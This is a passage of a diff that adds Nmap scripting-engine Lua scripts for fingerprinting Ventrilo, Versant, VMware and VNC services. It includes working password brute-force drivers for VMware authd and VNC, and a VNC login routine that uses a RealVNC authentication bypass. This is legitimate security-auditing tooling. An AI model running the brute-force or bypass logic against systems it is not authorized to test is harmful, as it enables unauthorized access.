+-- @param data data to calculate the checksum of
+-- @return 2 byte CRC checksum as seen in Ventrilo UDP status headers
+local crc = function(data)
+ local sum = 0
+ for i = 1,#data do
+ sum = (crypt_crc[(sum >> 8) + 1] ~ data:byte(i) ~ (sum << 8)) & 0xFFFF
+ end
+ return sum
+end
+
+-- Parses the status response data segment and constructs an output table.
+-- @param Ventrilo UDP status response data segment
+-- @return info output table representing Ventrilo UDP status response info
+local o_table = function(data)
+ local info = stdnse.output_table()
+ local pos
+
+ pos, info.name = str_find(data, "NAME: ([^\n]*)", 0)
+ pos, info.phonetic = str_find(data, "PHONETIC: ([^\n]*)", pos)
+ pos, info.comment = str_find(data, "COMMENT: ([^\n]*)", pos)
+ pos, info.auth = str_find(data, "AUTH: ([^\n]*)", pos)
+ pos, info.maxclients = str_find(data, "MAXCLIENTS: ([^\n]*)", pos)
+ pos, info.voicecodec = str_find(data, "VOICECODEC: ([^\n]*)", pos)
+ pos, info.voiceformat = str_find(data, "VOICEFORMAT: ([^\n]*)", pos)
+ pos, info.uptime = str_find(data, "UPTIME: ([^\n]*)", pos)
+ pos, info.platform = str_find(data, "PLATFORM: ([^\n]*)", pos)
+ pos, info.version = str_find(data, "VERSION: ([^\n]*)", pos)
+
+ -- channels
+ pos, info.channelcount = str_find(data, "CHANNELCOUNT: ([^\n]*)", pos)
+ pos, info.channelfields = str_find(data, "CHANNELFIELDS: ([^\n]*)", pos)
+
+ -- construct channel fields as a nice list instead of the raw data
+ local channelfields = {}
+ for channelfield in string.gmatch(info.channelfields, "[^,\n]+") do
+ channelfields[#channelfields + 1] = channelfield
+ end
+ info.channelfields = channelfields
+
+ -- parse and add channels
+ info.channels = stdnse.output_table()
+ -- add top level lobby channel (CID = 0)
+ info.channels["0"] = stdnse.output_table()
+ info.channels["0"].NAME = "<top level lobby>"
+ info.channels["0"].CID = "0"
+ while string.sub(data, pos + 2, pos + 10) == "CHANNEL: " do
+ local channel = stdnse.output_table()
+ for _, channelfield in ipairs(info.channelfields) do
+ pos, channel[channelfield] = str_find(data, channelfield .. "=([^,\n]*)", pos)
+ end
+ if channel.CID then
+ info.channels[channel.CID] = channel
+ end
+ end
+
+ -- clients
+ pos, info.clientcount = str_find(data, "CLIENTCOUNT: ([^\n]*)", pos)
+ pos, info.clientfields = str_find(data, "CLIENTFIELDS: ([^\n]*)", pos)
+
+ -- construct client fields as a nice list instead of the raw data
+ local clientfields = {}
+ for clientfield in string.gmatch(info.clientfields, "[^,\n]+") do
+ clientfields[#clientfields + 1] = clientfield
+ end
+ info.clientfields = clientfields
+
+ -- parse and add clients
+ while string.sub(data, pos + 2, pos + 9) == "CLIENT: " do
+ local client = stdnse.output_table()
+ for _, clientfield in ipairs(info.clientfields) do
+ pos, client[clientfield] = str_find(data, clientfield .. "=([^,\n]*)", pos)
+ end
+ if client.CID then
+ if not info.channels[client.CID] then
+ -- weird clients with unrecognized CID are put in the -1 channel
+ if not info.channels["-1"] then
+ -- add channel for weird clients with unrecognized CIDs
+ info.channels["-1"] = stdnse.output_table()
+ info.channels["-1"].NAME = "<clients with unrecognized CIDs>"
+ info.channels["-1"].CID = "-1"
+ info.channels["-1"].clients = {}
+ end
+ table.insert(info.channels["-1"].clients, client)
+ elseif not info.channels[client.CID].clients then
+ -- channel had no clients, create table for the 1st client
+ info.channels[client.CID].clients = {}
+ table.insert(info.channels[client.CID].clients, client)
+ else
+ table.insert(info.channels[client.CID].clients, client)
+ end
+ end
+ end
+
+ return info
+end
+
+-- Constructs an output string from an output table for use in normal output.
+-- @param info output table
+-- @return output_string output string
+local o_str = function(info)
+ local buf = strbuf.new()
+ buf = buf .. "\nname: "
+ buf = buf .. info.name
+ buf = buf .. "\nphonetic: "
+ buf = buf .. info.phonetic
+ buf = buf .. "\ncomment: "
+ buf = buf .. info.comment
+ buf = buf .. "\nauth: "
+ buf = buf .. auth_str(info.auth)
+ buf = buf .. "\nmax. clients: "
+ buf = buf .. info.maxclients
+ buf = buf .. "\nvoice codec: "
+ buf = buf .. info.voicecodec
+ buf = buf .. "\nvoice format: "
+ buf = buf .. info.voiceformat
+ buf = buf .. "\nuptime: "
+ buf = buf .. uptime_str(info.uptime)
+ buf = buf .. "\nplatform: "
+ buf = buf .. info.platform
+ buf = buf .. "\nversion: "
+ buf = buf .. info.version
+ buf = buf .. "\nchannel count: "
+ buf = buf .. info.channelcount
+ buf = buf .. "\nchannel fields: "
+ for i, channelfield in ipairs(info.channelfields) do
+ buf = buf .. channelfield
+ if i ~= #info.channelfields then
+ buf = buf .. ", "
+ end
+ end
+ buf = buf .. "\nclient count: "
+ buf = buf .. info.clientcount
+ buf = buf .. "\nclient fields: "
+ for i, clientfield in ipairs(info.clientfields) do
+ buf = buf .. clientfield
+ if i ~= #info.clientfields then
+ buf = buf .. ", "
+ end
+ end
+ buf = buf .. "\nchannels:"
+ for i, channel in pairs(info.channels) do
+ buf = buf .. "\n"
+ buf = buf .. channel.NAME
+ buf = buf .. " ("
+ for j, channelfield in ipairs(info.channelfields) do
+ if channelfield ~= "NAME" and channelfield ~= "n/a" then
+ buf = buf .. channelfield
+ buf = buf .. ": "
+ buf = buf .. (channel[channelfield] or "n/a")
+ if j ~= #info.channelfields then
+ buf = buf .. ", "
+ end
+ end
+ end
+ buf = buf .. "): "
+ if not channel.clients then
+ buf = buf .. "<empty>"
+ else
+ for j, client in ipairs(channel.clients) do
+ buf = buf .. "\n "
+ buf = buf .. client.NAME
+ buf = buf .. " ("
+ for k, clientfield in ipairs(info.clientfields) do
+ if clientfield ~= "NAME" and clientfield ~= "CID" then
+ buf = buf .. clientfield
+ buf = buf .. ": "
+ buf = buf .. client[clientfield]
+ if k ~= #info.clientfields then
+ buf = buf .. ", "
+ end
+ end
+ end
+ end
+ end
+ end
+
+ return strbuf.dump(buf, "")
+end
+
+portrule = shortport.version_port_or_service({3784}, "ventrilo", {"tcp", "udp"})
+
+action = function(host, port)
+ local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number)
+ mutex("lock")
+
+ if host.registry["ventrilo-info"] == nil then
+ host.registry["ventrilo-info"] = {}
+ end
+ -- Maybe the script already ran for this port number on another protocol
+ local r = host.registry["ventrilo-info"][port.number]
+ if r == nil then
+ r = {}
+ host.registry["ventrilo-info"][port.number] = r
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(2000)
+
+ local cleanup = function()
+ socket:close()
+ mutex("done")
+ end
+ local try = nmap.new_try(cleanup)
+
+ local udpport = { number = port.number, protocol = "udp" }
+ try(socket:connect(host.ip, udpport))
+
+ local status, response
+ -- try a couple of times on timeout, the service seems to not
+ -- respond if multiple requests come within a short timeframe
+ for _ = 1,3 do
+ try(socket:send(static_probe_payload))
+ status, response = socket:receive()
+ if status then
+ nmap.set_port_state(host, udpport, "open")
+ break
+ end
+ end
+ if not status then
+ -- 3 timeouts, no response
+ cleanup()
+ return
+ end
+
+ -- received the first packet, process it and others if they come
+ local fulldata = {}
+ local fulldatalen = 0
+ local curlen = 0
+ local head_crc_sum
+ while true do
+ -- decrypt received header and extract relevant information
+ local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response)
+
+ if id == static_probe_id then
+ curlen = curlen + len
+ head_crc_sum = crc_sum
+
+ -- check for an invalid response
+ if #response < 20 or pck >= totpck or
+ len > 492 or curlen > totlen then
+ stdnse.debug1("Invalid response. Aborting script.")
+ cleanup()
+ return
+ end
+
+ -- keep track of the length of fulldata (# isn't applicable)
+ if fulldata[pck + 1] == nil then
+ fulldatalen = fulldatalen + 1
+ end
+ -- accumulate UDP packets that may not necessarily come in proper
+ -- order; arrange them by packet id
+ fulldata[pck + 1] = dec_data(response, len, key)
+ end
+
+ -- check for invalid states in communication
+ if (fulldatalen > totpck) or (curlen > totlen)
+ or (fulldatalen == totpck and curlen ~= totlen)
+ or (curlen == totlen and fulldatalen ~= totpck) then
+ stdnse.debug1("Invalid state (fulldatalen = " .. fulldatalen ..
+ "; totpck = " .. totpck .. "; curlen = " .. curlen ..
+ "; totlen = " .. totlen .. "). Aborting script.")
+ cleanup()
+ return
+ end
+
+ -- check for valid end of communication
+ if fulldatalen == totpck and curlen == totlen then
+ break
+ end
+
+ -- receive another packet
+ status, response = socket:receive()
+ if not status then
+ stdnse.debug1("Response packets stopped coming midway. Aborting script.")
+ cleanup()
+ return
+ end
+ end
+
+ socket:close()
+
+ -- concatenate received data into a single string for further use
+ local fulldata_str = table.concat(fulldata)
+
+ -- check for an invalid checksum on the response data sections (no headers)
+ local fulldata_crc_sum = crc(fulldata_str)
+ if fulldata_crc_sum ~= head_crc_sum then
+ stdnse.debug1("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum)
+ cleanup()
+ return
+ end
+
+ -- parse the received data string into an output table
+ r.info = o_table(fulldata_str)
+ end
+
+ mutex("done")
+
+ -- If the registry is empty the port was probed but Ventrilo wasn't detected
+ if next(r) == nil then
+ return
+ end
+
+ port.version.name = "ventrilo"
+ port.version.name_confidence = 10
+ port.version.product = "Ventrilo"
+ port.version.version = r.info.version
+ port.version.ostype = r.info.platform
+ port.version.extrainfo = "; name: ".. r.info.name
+ if port.protocol == "tcp" then
+ port.version.extrainfo = "voice port" .. port.version.extrainfo
+ else
+ port.version.extrainfo = "status port" .. port.version.extrainfo
+ end
+ port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime)
+ port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth)
+
+ nmap.set_port_version(host, port, "hardmatched")
+
+ -- an output table for XML output and a custom string for normal output
+ return r.info, o_str(r.info)
+end
diff --git a/scripts/versant-info.nse b/scripts/versant-info.nse
new file mode 100644
index 0000000..d46e29a
--- /dev/null
+++ b/scripts/versant-info.nse
@@ -0,0 +1,115 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local versant = require "versant"
+
+description = [[
+Extracts information, including file paths, version and database names from
+a Versant object database.
+]]
+
+---
+-- @usage
+-- nmap -p 5019 <ip> --script versant-info
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 5019/tcp open versant syn-ack
+-- | versant-info:
+-- | Hostname: WIN-S6HA7RJFAAR
+-- | Root path: C:\Versant\8
+-- | Database path: C:\Versant\db
+-- | Library path: C:\Versant\8
+-- | Version: 8.0.2
+-- | Databases
+-- | FirstDB@WIN-S6HA7RJFAAR:5019
+-- | Created: Sat Mar 03 12:00:02 2012
+-- | Owner: Administrator
+-- | Version: 8.0.2
+-- | SecondDB@WIN-S6HA7RJFAAR:5019
+-- | Created: Sat Mar 03 03:44:10 2012
+-- | Owner: Administrator
+-- | Version: 8.0.2
+-- | ThirdDB@WIN-S6HA7RJFAAR:5019
+-- | Created: Sun Mar 04 02:20:21 2012
+-- | Owner: Administrator
+-- |_ Version: 8.0.2
+--
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = shortport.port_or_service(5019, "versant", "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local v = versant.Versant:new(host, port)
+ local status = v:connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, newport = v:getObePort()
+ if ( not(status) ) then
+ return fail("Failed to retrieve OBE port")
+ end
+ v:close()
+
+ v = versant.Versant.OBE:new(host, newport)
+ status = v:connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local result
+ status, result = v:getVODInfo()
+ if ( not(status) ) then
+ return fail("Failed to get VOD information")
+ end
+ v:close()
+
+ local output = {}
+
+ table.insert(output, ("Hostname: %s"):format(result.hostname))
+ table.insert(output, ("Root path: %s"):format(result.root_path))
+ table.insert(output, ("Database path: %s"):format(result.db_path))
+ table.insert(output, ("Library path: %s"):format(result.lib_path))
+ table.insert(output, ("Version: %s"):format(result.version))
+
+ port.version.product = "Versant Database"
+ port.version.name = "versant"
+ nmap.set_port_version(host, port)
+
+ -- the script may fail after this part, but we want to report at least
+ -- the above information if that's the case.
+
+ v = versant.Versant:new(host, port)
+ status = v:connect()
+ if ( not(status) ) then
+ return stdnse.format_output(true, output)
+ end
+
+ status, result = v:getNodeInfo()
+ if ( not(status) ) then
+ return stdnse.format_output(true, output)
+ end
+ v:close()
+
+ local databases = { name = "Databases" }
+
+ for _, db in ipairs(result) do
+ local db_tbl = { name = db.name }
+ table.insert(db_tbl, ("Created: %s"):format(db.created))
+ table.insert(db_tbl, ("Owner: %s"):format(db.owner))
+ table.insert(db_tbl, ("Version: %s"):format(db.version))
+ table.insert(databases, db_tbl)
+ end
+
+ table.insert(output, databases)
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/vmauthd-brute.nse b/scripts/vmauthd-brute.nse
new file mode 100644
index 0000000..cdaf705
--- /dev/null
+++ b/scripts/vmauthd-brute.nse
@@ -0,0 +1,121 @@
+local brute = require "brute"
+local creds = require "creds"
+local match = require "match"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against the VMWare Authentication Daemon (vmware-authd).
+]]
+
+---
+-- @usage
+-- nmap -p 902 <ip> --script vmauthd-brute
+--
+-- @output
+-- PORT STATE SERVICE
+-- 902/tcp open iss-realsecure
+-- | vmauthd-brute:
+-- | Accounts
+-- | root:00000 - Valid credentials
+-- | Statistics
+-- |_ Performed 183 guesses in 40 seconds, average tps: 4
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+
+portrule = shortport.port_or_service(902, {"ssl/vmware-auth", "vmware-auth"}, "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+Driver = {
+
+ new = function(self, host, port, options)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ self.socket = brute.new_socket()
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ login = function(self, username, password)
+ local status, line = self.socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+ if ( line:match("^220 VMware Authentication Daemon.*SSL Required") ) then
+ self.socket:reconnect_ssl()
+ end
+
+ status = self.socket:send( ("USER %s\r\n"):format(username) )
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send data to server" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ local status, response = self.socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+ if ( not(status) or not(response:match("^331") ) ) then
+ local err = brute.Error:new( "Received unexpected response from server" )
+ err:setRetry( true )
+ return false, err
+ end
+
+ status = self.socket:send( ("PASS %s\r\n"):format(password) )
+ if ( not(status) ) then
+ local err = brute.Error:new( "Failed to send data to server" )
+ err:setRetry( true )
+ return false, err
+ end
+ status, response = self.socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+
+ if ( response:match("^230") ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+
+ return false, brute.Error:new( "Login incorrect" )
+ end,
+
+ disconnect = function(self)
+ return self.socket:close()
+ end
+
+}
+
+local function checkAuthd(host, port)
+ local socket = nmap.new_socket()
+ local status = socket:connect(host, port)
+
+ if( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+
+ local status, line = socket:receive_buf(match.pattern_limit("\r\n", 2048), false)
+ socket:close()
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+
+ if ( not( line:match("^220 VMware Authentication Daemon") ) ) then
+ return false, "Failed to detect VMWare Authentication Daemon"
+ end
+ return true
+end
+
+
+action = function(host, port)
+ local status, err = checkAuthd(host, port)
+ if ( not(status) ) then
+ return fail(err)
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ local result
+ status, result = engine:start()
+ return result
+end
diff --git a/scripts/vmware-version.nse b/scripts/vmware-version.nse
new file mode 100644
index 0000000..46c75db
--- /dev/null
+++ b/scripts/vmware-version.nse
@@ -0,0 +1,88 @@
+description = [[
+Queries VMware server (vCenter, ESX, ESXi) SOAP API to extract the version information.
+
+The same script as VMware Fingerprinter from VASTO created by Claudio Criscione, Paolo Canaletti
+]]
+
+---
+-- @usage
+-- nmap --script vmware-version -p443 <host>
+--
+-- @output
+-- | vmware-version:
+-- | Server version: VMware ESX 4.1.0
+-- | Build: 348481
+-- | Locale version: INTL 000
+-- | OS type: vmnix-x86
+-- |_ Product Line ID: esx
+----------------------------------------------------------
+
+author = "Alexey Tyurin"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "version"}
+
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+portrule = function (host, port)
+ if nmap.version_intensity() < 7 or nmap.port_is_excluded(port.number, port.protocol) then
+ return false
+ end
+ return shortport.http(host, port)
+end
+
+local function get_file(host, port, path)
+ local req
+ req='<soap:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns="urn:internalvim25"><_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>'
+
+ local result = http.post( host, port, path, nil, nil, req)
+ if(result['status'] ~= 200 or result['content-length'] == 0) then
+ return false, "Couldn't download file: " .. path
+ end
+
+ return true, result.body
+end
+
+action = function(host, port)
+
+ local result, body = get_file(host, port, "/sdk")
+
+ if(not(result)) then
+ stdnse.debug1("%s", body)
+ return nil
+ end
+
+ local vwname = body:match("<name>([^<]*)</name>")
+
+ if not vwname then
+ stdnse.debug1("Problem with XML parsing.")
+ return nil
+ end
+
+ local vwversion = body:match("<version>([^<]*)</version>")
+ local vwbuild = body:match("<build>([^<]*)</build>")
+ local vwlversion = body:match("<localeVersion>([^<]*)</localeVersion>")
+ local vwlbuild = body:match("<localeBuild>([^<]*)</localeBuild>")
+ local vmostype = body:match("<osType>([^<]*)</osType>")
+ local vmprod= body:match("<productLineId>([^<]*)</productLineId>")
+
+ if not port.version.product then
+ port.version.product = ("%s SOAP API"):format(vwname)
+ port.version.version = vwversion
+ end
+ table.insert(port.version.cpe, ("cpe:/o:vmware:%s:%s"):format(vwname:gsub("^[Vv][Mm][Ww]are ", ""), vwversion))
+ nmap.set_port_version(host, port, "hardmatched")
+
+ local response = stdnse.output_table()
+
+ response["Server version"] = ("%s %s"):format(vwname, vwversion)
+ response["Build"] = vwbuild
+ response["Locale version"] = ("%s %s"):format(vwlversion, vwlbuild)
+ response["OS type"] = vmostype
+ response["Product Line ID"] = vmprod
+
+ return response
+end
diff --git a/scripts/vnc-brute.nse b/scripts/vnc-brute.nse
new file mode 100644
index 0000000..45492e8
--- /dev/null
+++ b/scripts/vnc-brute.nse
@@ -0,0 +1,152 @@
+local brute = require "brute"
+local creds = require "creds"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vnc = require "vnc"
+
+description = [[
+Performs brute force password auditing against VNC servers.
+]]
+
+---
+-- @see realvnc-auth-bypass.nse
+--
+-- @args vnc-brute.bruteusers If set, allows the script to iterate over
+-- usernames for auth types that require it (plain,
+-- Apple Remote Desktop (30),
+-- SASL (not supported), and ATEN) Default: false,
+-- since most VNC auth types are password-only.
+-- @usage
+-- nmap --script vnc-brute -p 5900 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 5900/tcp open vnc syn-ack
+-- | vnc-brute:
+-- | Accounts
+-- |_ 123456 => Valid credentials
+
+-- Summary
+-- -------
+-- x The Driver class contains the driver implementation used by the brute
+-- library
+--
+--
+
+--
+-- Version 0.1
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(5901, "vnc", "tcp", "open")
+
+Driver =
+{
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ connect = function( self )
+ self.vnc = vnc.VNC:new( self.host, self.port, brute.new_socket() )
+ return self.vnc:connect()
+ end,
+ --- Attempts to login to the VNC server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- creds.Account object on success
+ login = function( self, username, password )
+
+ local status, data = self.vnc:handshake()
+ if ( not(status) and ( data:match("Too many authentication failures") or
+ data:match("Your connection has been rejected.") ) ) then
+ local err = brute.Error:new( data )
+ err:setAbort( true )
+ return false, err
+ elseif ( not(status) ) then
+ local err = brute.Error:new( "VNC handshake failed" )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
+
+ status, data = self.vnc:login( username, password )
+
+ if ( status ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ elseif ( not( data:match("Authentication failed") ) ) then
+ local err = brute.Error:new( data )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+
+ end,
+
+ disconnect = function( self )
+ self.vnc:disconnect()
+ end,
+
+ check = function( self )
+ local vnc = vnc.VNC:new( self.host, self.port )
+ local status, data
+
+ status, data = vnc:connect()
+ if ( not(status) ) then
+ return stdnse.format_output( false, data )
+ end
+
+ status, data = vnc:handshake()
+ if ( not(status) ) then
+ return stdnse.format_output( false, data )
+ end
+
+ if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then
+ return false, "No authentication required"
+ end
+
+ status, data = vnc:login( nil, "is_sec_mec_supported?" )
+ -- Check whether auth succeeded. This is most likely because one of the
+ -- NONE auth types was supported, since vnc.lua will just return true in that case.
+ if status then
+ return false, "No authentication required"
+ end
+
+ if ( data:match("The server does not support.*security type") ) then
+ return stdnse.format_output( false, " \n " .. data )
+ end
+
+ return true
+ end,
+
+}
+
+
+action = function(host, port)
+ local bruteusers = stdnse.get_script_args(SCRIPT_NAME .. ".bruteusers")
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ engine.options:setOption( "passonly", not bruteusers )
+
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/vnc-info.nse b/scripts/vnc-info.nse
new file mode 100644
index 0000000..008ee67
--- /dev/null
+++ b/scripts/vnc-info.nse
@@ -0,0 +1,163 @@
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vnc = require "vnc"
+
+description = [[
+Queries a VNC server for its protocol version and supported security types.
+]]
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 5900/tcp open vnc
+-- | vnc-info:
+-- | Protocol version: 3.889
+-- | Security types:
+-- | Mac OS X security type (30)
+-- |_ Mac OS X security type (35)
+--
+-- @xmloutput
+-- <elem key="Protocol version">3.8</elem>
+-- <table key="Security types">
+-- <table>
+-- <elem key="name">Ultra</elem>
+-- <elem key="type">17</elem>
+-- </table>
+-- <table>
+-- <elem key="name">VNC Authentication</elem>
+-- <elem key="type">2</elem>
+-- </table>
+-- </table>
+
+-- Version 0.2
+
+-- Created 07/07/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 08/14/2010 - v0.2 - changed so that errors are reported even without debugging
+
+
+portrule = shortport.port_or_service( {5900, 5901, 5902} , "vnc", "tcp", "open")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local v = vnc.VNC:new( host, port )
+ local status, data
+ local result = stdnse.output_table()
+
+ status, data = v:connect()
+ if ( not(status) ) then return fail(data) end
+
+ status, data = v:handshake()
+ if ( not(status) ) then return fail(data) end
+
+ data = v:getSecTypesAsTable()
+
+ result["Protocol version"] = v:getProtocolVersion()
+
+ if ( data and #data ~= 0 ) then
+ result["Security types"] = data
+ end
+
+ local none_auth = false
+ if ( v:supportsSecType(v.sectypes.NONE) ) then
+ none_auth = true
+ end
+
+ if v:supportsSecType(v.sectypes.VENCRYPT) then
+ v:sendSecType(v.sectypes.VENCRYPT)
+ status, data = v:handshake_vencrypt()
+ if not status then
+ stdnse.debug1("Failed to handshake VeNCrypt: %s", data)
+ else
+ result["VeNCrypt auth subtypes"] = v:getVencryptTypesAsTable()
+ if not none_auth then
+ for i=1, v.vencrypt.count do
+ if v.vencrypt.types[i] == vnc.VENCRYPT_SUBTYPES.TLSNONE or
+ v.vencrypt.types[i] == vnc.VENCRYPT_SUBTYPES.TLSNONE then
+ none_auth = true
+ break
+ end
+ end
+ end
+ end
+ -- Reset the connection for further tests
+ v:disconnect()
+ end
+
+ if v:supportsSecType(v.sectypes.TIGHT) then
+ if not v.socket:get_info() then
+ -- reconnect if necessary
+ v:connect()
+ v:handshake()
+ end
+ v:sendSecType(v.sectypes.TIGHT)
+ status, data = v:handshake_tight()
+ if not status then
+ stdnse.debug1("Failed to handshake Tight: %s", data)
+ else
+ if v.aten then
+ result["Tight auth"] = "ATEN KVM VNC"
+ else
+ local mt = {
+ __tostring = function(t)
+ return string.format("%s %s (%d)", t.vendor, t.signature, t.code)
+ end
+ }
+ local tunnels = {}
+ for _, t in ipairs(v.tight.tunnels) do
+ setmetatable(t, mt)
+ tunnels[#tunnels+1] = t
+ end
+ if #tunnels > 0 then
+ result["Tight auth tunnels"] = tunnels
+ end
+ if #v.tight.types == 0 then
+ none_auth = true
+ result["Tight auth subtypes"] = {"None"}
+ else
+ local subtypes = {}
+ for _, t in ipairs(v.tight.types) do
+ if t.code == 1 then
+ none_auth = true
+ end
+ setmetatable(t, mt)
+ subtypes[#subtypes+1] = t
+ end
+ result["Tight auth subtypes"] = subtypes
+ end
+ end
+ end
+ -- Reset the connection for further tests
+ v:disconnect()
+ end
+
+ if v:supportsSecType(v.sectypes.TLS) then
+ if not v.socket:get_info() then
+ -- reconnect if necessary
+ v:connect()
+ v:handshake()
+ end
+ v:sendSecType(v.sectypes.TLS)
+ status, data = v:handshake_tls()
+ if not status then
+ stdnse.debug1("Failed to handshake TLS: %s", data)
+ else
+ result["TLS auth subtypes"] = v:getSecTypesAsTable()
+ if v:supportsSecType(v.sectypes.NONE) then
+ none_auth = true
+ end
+ end
+ end
+
+ if none_auth then
+ result["WARNING"] = "Server does not require authentication"
+ end
+
+ return result
+end
diff --git a/scripts/vnc-title.nse b/scripts/vnc-title.nse
new file mode 100644
index 0000000..994a6cb
--- /dev/null
+++ b/scripts/vnc-title.nse
@@ -0,0 +1,104 @@
+local creds = require "creds"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vnc = require "vnc"
+
+description = [[
+Tries to log into a VNC server and get its desktop name. Uses credentials
+discovered by vnc-brute, or None authentication types. If
+<code>realvnc-auth-bypass</code> was run and returned VULNERABLE, this script
+will use that vulnerability to bypass authentication.
+]]
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "discovery"}
+
+---
+-- @see vnc-brute.nse
+-- @see realvnc-auth-bypass.nse
+--
+-- @output
+-- | vnc-title:
+-- | name: LibVNCServer
+-- | geometry: 800 x 600
+-- |_ color_depth: 24
+--
+-- @xmloutput
+-- <elem key="name">QEMU (instance-00000002)</elem>
+-- <elem key="geometry">1024 x 768</elem>
+-- <elem key="color_depth">24</elem>
+
+dependencies = {"vnc-brute", "realvnc-auth-bypass"}
+
+portrule = shortport.port_or_service( {5900, 5901, 5902} , "vnc", "tcp", "open")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local v = vnc.VNC:new( host, port )
+ local status, data
+ local result = stdnse.output_table()
+
+ status, data = v:connect()
+ if ( not(status) ) then return fail(data) end
+
+ status, data = v:handshake()
+ if ( not(status) ) then return fail(data) end
+
+ -- If this doesn't work, start over.
+ status = false
+ local reg = host.registry["realvnc-auth-bypass"]
+ if reg and reg[port.number] then
+ stdnse.debug1("Trying RealVNC Auth Bypass")
+ -- Force None auth type and try to init to exploit
+ v:sendSecType(vnc.VNC.sectypes.NONE)
+ status, data = v:login_none()
+ if status then
+ status, data = v:client_init(true)
+ if not status then
+ stdnse.debug1("RealVNC Auth Bypass failed.")
+ end
+ end
+ if not status then
+ -- clean up and start over
+ v:disconnect()
+ status, data = v:connect()
+ if not status then return fail(data) end
+ status, data = v:handshake()
+ if not status then return fail(data) end
+ -- Be sure to let the regular login stuff have a try
+ status = false
+ end
+ end
+ if not status then
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ local tried = 0
+ for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
+ tried = tried + 1
+ stdnse.debug1("Trying creds: %s:%s", cred.user, cred.pass)
+ status, data = v:login(cred.user, cred.pass)
+ if status then
+ break
+ end
+ end
+ if tried < 1 then
+ --worth trying a None-type login
+ stdnse.debug1("Trying empty creds, for None security type")
+ status, data = v:login("", "")
+ end
+ if not status then
+ return fail(("Couldn't log in: %s"):format(data))
+ end
+ status, data = v:client_init(true)
+ end
+ if status then
+ local out = stdnse.output_table()
+ out.name = data.name
+ out.geometry = ("%d x %d"):format(data.width, data.height)
+ out.color_depth = data.depth
+ return out
+ end
+
+end
diff --git a/scripts/voldemort-info.nse b/scripts/voldemort-info.nse
new file mode 100644
index 0000000..a373ec1
--- /dev/null
